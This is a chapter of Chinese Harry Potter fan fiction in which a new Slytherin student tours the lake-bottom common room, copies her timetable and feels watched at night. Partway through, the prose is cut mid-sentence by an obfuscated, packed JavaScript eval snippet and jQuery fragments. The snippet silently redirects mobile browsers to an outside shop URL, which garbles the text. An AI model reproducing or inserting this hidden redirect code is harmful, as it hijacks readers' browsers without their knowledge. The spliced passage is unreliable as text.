晚宴在杯盘碰撞的细碎声响和低低的谈笑声中渐渐接近尾声。邓布利多再次站起来时，礼堂里的喧闹像被一只手轻轻按住，逐渐低了下去。
“好了，在大家回宿舍休息之前，我还有几项通知。”邓布利多的声音不急不慢，像在朗读一本有趣的书，“第一，禁林禁止一切学生进入，除非有教授陪同。第二，管理员费尔奇先生让我提醒各位，走廊里禁止使用魔法——当然，如果你实在忍不住，至少别被他抓到。”
几个高年级学生发出低低的笑声。
“第三，”邓布利多的目光朝教师席右侧的方向掠了一下，又落回全场，“四楼靠右边的走廊，未经允许，任何人不得进入。这一点我希望各位记清楚，不单是出于规则，也是出于安全。”
艾丽莎注意到他说最后几个字时，语气里那一丝轻快的调子稍微沉了一些。她不知道四楼走廊里有什么，但达芙妮在她旁边微微皱了皱眉，米里森放下了手里的叉子。
“最后——”邓布利多重新绽开笑容，“睡前记得吃点宵夜，长身体的时候不能饿着。好了，级长们，带你们的新生回去吧。”
四张长桌上的学生们纷纷起身。椅子腿摩擦石砖的声音、餐具碰撞的叮当声、交织的谈话声同时涌起来，礼堂里瞬间变成一片流动的人声与身影的海洋。
艾丽莎跟着达芙妮和米里森站起来，往长桌侧边的过道走去。一个高挑的高年级女生正站在过道口，黑色长发束成一条低马尾，面容端正，神情里带着一种让人安心的沉稳。她身上别着一枚银色的级长徽章，手里拿着一盏提灯，灯的火焰是银白色的，光线柔和却清晰。
“斯莱特林一年级的新生，跟我来。”她的声音不高，但足够清晰，目光扫过艾丽莎等人的脸，“我是杰玛·法利，你们接下来一年有什么问题可以找我。跟紧了，别掉队。”
她转身朝侧门走去，步伐不快不慢，但很稳。
艾丽莎和达芙妮、米里森走在队伍中段，潘西和马尔福走在靠前的位置，身后还有几个艾丽莎还没记住名字的同学。新生们三三两两挤在一起，沿着侧门外的走廊向前移动。
走廊里的光线从礼堂的暖黄骤然变暗，墙壁上的火炬间隔很远，一段亮一段暗。脚下的石砖从平滑变成了带着磨砂质感的老石料，踩上去有一些细微的凹凸感。空气中的气味也在变化——从食物和蜡烛的暖香变成了一种更冷、更沉的石质气息，混着一丝若有若无的潮意。
他们走过一段向下的楼梯，台阶比艾丽莎想象中更陡，每一级都磨损得厉害，中间部分被无数双脚踩出了微微凹陷的弧度。墙壁两侧挂着深绿色的挂毯，织着银色的纹样，在火炬跳动不定的光线里，那些纹样像蛇一样蜿蜒游动。
又拐过一个弯，楼梯继续向下。艾丽莎能感觉到空气变得更凉了，贴在皮肤上有一种石窖特有的干冷的触感。墙壁上的水汽似乎在加重，火炬的光焰落在湿漉漉的石面上，映出一层淡淡的水光。
“斯莱特林的公共休息室，”杰玛的声音从前方传来，没有回头，但音量足够让整个队伍听清，“在湖底。你们现在往下走，实际上是在穿过城堡的地基，进入黑湖的下方。外面的窗户——等下你们会看到——直接朝向湖底。”
队伍里响起几声压低了的惊叹。艾丽莎身后一个男生轻声说了一句“真的假的”，另一个女生小声附和着“我听说水里的东西会从窗外游过去”。
杰玛在一面空白的石墙前停下来，墙面上没有任何装饰，没有门把手，没有锁孔，只有一块块平整的暗灰色石砖拼合在一起，接缝处被时间磨得几乎看不分明。
她转过身面对新生们，举起提灯，银白色的光芒在墙面上投出一片柔和的圆。“口令，”她说，“跟着我念。”
她微微倾身向前，嘴唇贴近墙面，低声说了一句什么。艾丽莎没听清全部，只捕捉到末尾一个单词的尾音——“血脉”。
石墙的接缝处亮起一道细细的绿光，像有人用极细的笔蘸了发光的墨水画了一条线。绿光沿着石砖之间的纹路延展开来，勾勒出一道门的轮廓。石砖无声地向两侧滑开，露出一个拱形的入口。
玛侧过身，朝新生们做了一个“请进”的手势。
艾丽莎跟在队伍里走进去，脚刚迈过门槛，呼吸就顿了一下。
公共休息室比她在想象中的更大。整个空间是圆形的，穹顶高而幽暗，但四壁并不逼仄——相反，整面朝外的墙壁都是巨大的落地窗，窗外是流动的、幽绿色的湖水。水波在玻璃外面缓慢地荡漾，把天花板上垂下来的银质吊灯的光线揉碎了又拼合，投在地面上投出一片片游移的水纹。
湖底的光线透过水层渗透进来，是一种介于蓝绿之间的颜色，冷而清澈。偶尔有一团暗影从窗外掠过——不知道是鱼还是别的什么——影子在玻璃上迅速放大又缩小，然后消失在视野的边缘。
壁炉在房间正对面的一面石墙上燃着，火焰是银绿色的，比普通的火焰冷一些，但足够温暖。壁炉周围散落着几组深绿色的绒面沙发和矮桌，桌上放着几摞书和几盏小灯。房间两侧还有几排书架，架上的书脊在烛光下反射出深浅不一的色泽。
艾丽莎站在门口，目光从窗外那片幽绿色的水光一路滑过书架、沙发、壁炉，最后落在穹顶高处。那里有一些银色的链条垂下来，末端挂着小巧的灯盏，灯焰被施了魔法，在水波的折射下轻轻晃动，像一片悬浮的星群。
帕特里特以前跟她描述过斯莱特林的公共休息室，他说“你会觉得像沉在水底的一颗星星里”。当时艾丽莎想象不出来，现在她站在这里，觉得那个形容没有夸张。
杰玛拍了拍手，把新生们的注意力拉回来。
“注意！”一个高大的男生从壁炉前的沙发上起身。
“我是你们另一个级长雷克斯·亚克斯利。首先，欢迎大家来到斯莱特林学院，我们的休息室位于城堡的最底层，窗外就是黑湖底，这里在霍格沃茨成立之前是地牢，虽然阴冷但面积最大，公共休息室左侧是男生寝室、右侧是女寝。其他学院的寝室都是四人间甚至是六人间，而我们的都是双人间。”
“这里是布告栏，每个年级的课程、重要的通知还有休息室的口令你们都能在上面找到，明天上午你们第一节课是魔法史课，请大家务必早点起床，用餐后八点礼堂集合，法利会带你们去教室。”
“我要提醒各位：始终铭记你们是一名斯莱特林！不要像格兰芬多一样莽撞无脑、横冲直撞。最重要的一点：请你们遵守纪律，我不希望有人被扣分，听明白了吗？”
“听明白了……”新生们看着突然严肃起来的级长，讷讷的回答。
“还有什么问题吗？”亚克斯利问到。
几个新生摇了摇头。一个棕发女生举手问了一句“宵禁是几点”，杰玛回答说“十一点，但一年级最好不要在九点之后单独在外面晃悠”。
问完问题的学生们开始三三两两朝走廊方向走去。艾丽莎站在原地看着他们散开，达芙妮在她旁边轻轻拉了拉她的袖口：“走吧，看看我们住哪儿。”
她们沿着右侧的走廊往里走。走廊两侧的石墙上每隔几步就有一盏小灯，光线柔和，映出两侧的木门。每一扇门上都嵌着一块小小的铜牌，上面刻着名字。
艾丽莎走过去时依次扫过那些铜牌——伯斯德&格林格拉斯……帕金森&沙克尔……然后她看到了自己的名字。
安布罗斯&戴维斯。
铜牌上只有姓氏，字迹端正清晰，边缘磨得微亮，显然被擦拭过很多次。
戴维斯……艾丽莎回忆了一会，想起了那个女孩儿，好像是叫特雷西，也花了小一会儿才被分到斯莱特林，当分院帽喊出学院的时候女孩儿如丧考妣，乳燕投林般奔向了拉文克劳一个高年级和她有同样褐色长发的女生。
她推开门。
房间不大，进门左右两边是两间盥洗室，艾丽莎打开看了一眼，洗手池、淋浴、马桶，另一间也是同样的配置。关好盥洗室的门往里走，两张四柱床靠墙放着，床幔是深绿色的丝绒，床边铺着柔软的地毯，床边有一张小圆桌和一把扶手椅。
靠窗的位置——窗玻璃外面就是流动的湖水——摆着一张书桌，上面放着一摞崭新的羊皮纸、一根新的羽毛笔和一小瓶墨水瓶。角落里还有一个衣柜，门半掩着，里面隐约能看见她已经送来的行李。
艾丽莎把腰间的手袋解下来放在书桌上，走到窗边站定。窗玻璃外面，湖水的颜色比在公共休息室里看到的更深一些，水波缓慢地起伏着，偶尔有一串细小的气泡从下方升上来，贴着玻璃窗缓缓爬升，像一串透明的珠子。
她把手指贴在玻璃上，指尖触到一片冰凉的、微微震动的触感。那是水压透过玻璃传过来的细微颤动，几乎察觉不到，但当她把手掌完全贴上去时，能感觉到那种持续的、轻微的脉动，像湖底在呼吸。
外面有什么东西从窗边游了过去，很大，灰绿色的轮廓，尾巴缓慢地摆动了一下，带起一股水流，搅动了窗前的光影。然后它游远了，轮廓渐渐融进更深的水色里。
艾丽莎把手从玻璃上收回来，指尖残留着冰凉的触感。
窗外的水波晃了一下，一串新的气泡沿着玻璃窗升上来，在灯光下闪烁了一瞬，然后消失在窗沿上方。艾丽莎靠进椅背里，闭上眼，听着水声在墙外缓缓的流动，像一首没有词的摇篮曲。
小憩了一会儿醒来，艾丽莎去盥洗室洗漱换好了睡袍，出来的时候已经快十点了，室友还没回来。突然想起课表还没有抄，她起身直接套上长袍、带上笔记本和羽毛笔起身去了公共休息室。
公共休息室里的银绿色火焰还在壁炉里安静地燃着，光晕在水波折射下微微晃动，在地毯上投出一片流动的暗纹。
艾丽莎绕过沙发走向布告栏时，看见壁炉旁边那组最大的绒面沙发上，两个宽阔的身影正挤在一起。
克拉布和高尔——马尔福那两个像保镖一样的高个子跟班。
两人面前的矮桌上堆着好几个盘子，盘子里残留着肉派和烤土豆的碎屑，还有几块啃了一半的鸡腿骨头。高尔手里正抓着一块奶油面包往嘴里塞，克拉布端着一只高脚杯，里面装着某种深红色的饮料，正咕咚咕咚地灌。
克拉布最先看见她，嘴里含着面包含糊地打了个招呼，下巴朝她扬了扬。高尔随后抬起头，眨了两下眼睛，把嘴里的东西咽下去之后说：“你也是来抄课表的？”
艾丽莎点了点头，走到布
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822091|211165||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
告栏前站定。
布告栏上贴着一大张羊皮纸，上面用粗体花字写着斯莱特林各年级的课程安排。一年级的条目排在最上面，字迹清晰工整：周一到周五的课表，上午魔法史，下午魔咒课……天文课被安排到周三的晚上……魔药课在周五上午。她把笔记本翻开，低头抄写，羽毛笔尖在纸面上发出细小的沙沙声。
“吃不吃？”克拉布的声音从身后传过来，带着一点食物咀嚼的黏糊感，“厨房那边拿的，新鲜热乎的。”
艾丽莎回头看了一眼，克拉布手里举着一只肉馅饼，油光从酥皮的裂缝里微微渗出来，冒着热气。高尔也抬起头看着她，嘴里还叼着半块面包，眼神里带着一种很单纯的、没有太多算计的邀请。
“不了，谢谢。”她冲他们笑了笑，“我刚吃完没多久。”
克拉布耸了耸肩，把馅饼收回去自己咬了一口，含糊地说：“行吧。你要是饿了，厨房在赫奇帕奇公共休息室附近那排走廊尽头，你找个画着水果静物画的画像，挠一下那只梨子，它会变成门把手。”
艾丽莎微微一愣：“还要这样啊？”
艾丽莎之前去厨房是跟着邓布利多去的，虽然记得大致方位，但没有注意到这种开门的技巧。
“真有意思。”艾丽莎喃喃道。
“有意思的多着呢。”克拉布把面包咽下去，油乎乎的手在袍子上随意擦了擦，“城堡里到处都是密道和暗门。”
高尔也点头含糊的说“你慢慢就认识了。”
艾丽莎点了点头，把这句话记在心里，转回去继续抄课表。羽毛笔尖划过纸面时，她听见背后传来两人继续吃东西的声音，克拉布含混地嘟囔了一句“这个馅饼比中午那个好”，高尔嗯嗯地应着。
抄完课表她合上笔记本，朝克拉布和高尔摆了摆手道别，两人正埋头对付一盘烤香肠，只抬了抬下巴算作回应。
艾丽莎的脚步在经过壁炉的时候僵住了。
那道目光——微凉的、黏着的、从脊背正中某个点爬上去的触感——又贴了上来。她的心脏在胸腔里猛跳了一下，几乎是本能地转过身，目光扫过整个公共休息室。
壁炉里的绿色火焰还在跳，投下幽暗摇曳的光，克拉布正把最后一块馅饼塞进嘴里，腮帮子鼓得像只仓鼠，高尔低头用叉子戳着盘里最后一根烤肠，两人谁也没有抬头看她。
没有人看她。
可那道视线还在，它黏在她后颈偏左的位置，像一根看不见的手指轻轻按住那块皮肤。她甚至能感觉到那股凉意正在缓慢地移动——从后颈滑到肩胛之间，像什么活物在丈量她的脊骨。
艾丽莎攥紧了笔记本的边缘，纸页在指间发出细微的皱响。她控制着自己没有再次回头，因为她清楚，那道目光的来源不会在看得见的地方。
这个念头让她的指尖更冷了几分，她迈开脚步，尽量平稳地穿过休息室中央的地毯，绕过那张摆了棋盘的小桌，朝通向女生宿舍的石阶走去。脚步不快不慢，袍摆没有带起多余的风——她不想让那个注视者察觉到她在逃。
石阶盘旋向下，墙上的火把依次燃起又在她身后依次熄灭。她走过第三级台阶时，那道视线消失了。像来时一样突然，后颈那点微凉的触感啪地一下断了，只剩下皮肤上残余的、让人不安的痒意。
她反而走得更快了。
女生宿舍的门在她面前无声滑开，她一步跨进去，门板在身后合拢，发出轻微的咔嗒声。
她进门的瞬间，下意识朝右边那张靠窗的床看了一眼。
床铺依然整整齐齐，床幔垂着，被褥没有动过的痕迹，枕头边缘的褶痕还保持着早上送来的样子。书桌上空荡荡的——和自己那张桌上摊开的笔记本和羽毛笔不同，那边连一盏灯都没点亮。
特雷西·戴维斯没有回来过。
她慢慢坐到床沿上，把笔记本搁在膝头。床幔垂落下来，将她裹进一方幽暗的、与世隔绝的小空间。她把手伸进口袋，指尖摸了摸魔杖的木质轮廓，然后闭上眼睛，深深吸了一口气。
艾丽莎脱下外袍躺下，把被子拉到下巴，闭上眼睛。
她想起傍晚在礼堂里奇洛教授那道黏着在她身上的目光，又想起刚刚在休息室的注视，是不是也是他？或者说，是他脑后的伏地魔？湖底的水声持续不断地在墙壁外面流淌着，有时近有时远，有时那声音像是贴着窗玻璃擦过去，有时又沉到很深的地方去。
她又想起分院帽在她头顶上说的那些话，想起踩到哈利·波特时他涨红的脸。
这些画面在黑暗里依次浮现，像一串缓慢翻动的书页，每一页都带着边缘微卷的毛糙感。
她翻了个身，把脸埋进枕头里，枕芯里似乎填充了什么带着清淡草药味的东西，闻起来让人放松，安全感也顿时涌了上来。然后那些画面渐渐模糊了，水声变得更远，像潮水退去后留下的余响。她的呼吸变得均匀而绵长，手指松开被角，整个人沉进了床垫深处。
窗外的湖水依然无声地流淌着，一串细小的气泡沿着玻璃窗缓缓升上去，在顶端的暗影里轻轻破裂。床头的灯不知什么时候自己灭了，房间彻底沉进黑暗里，只有水光在玻璃外面缓缓晃动，投下一道道极其微弱、像呼吸一样节律的波纹。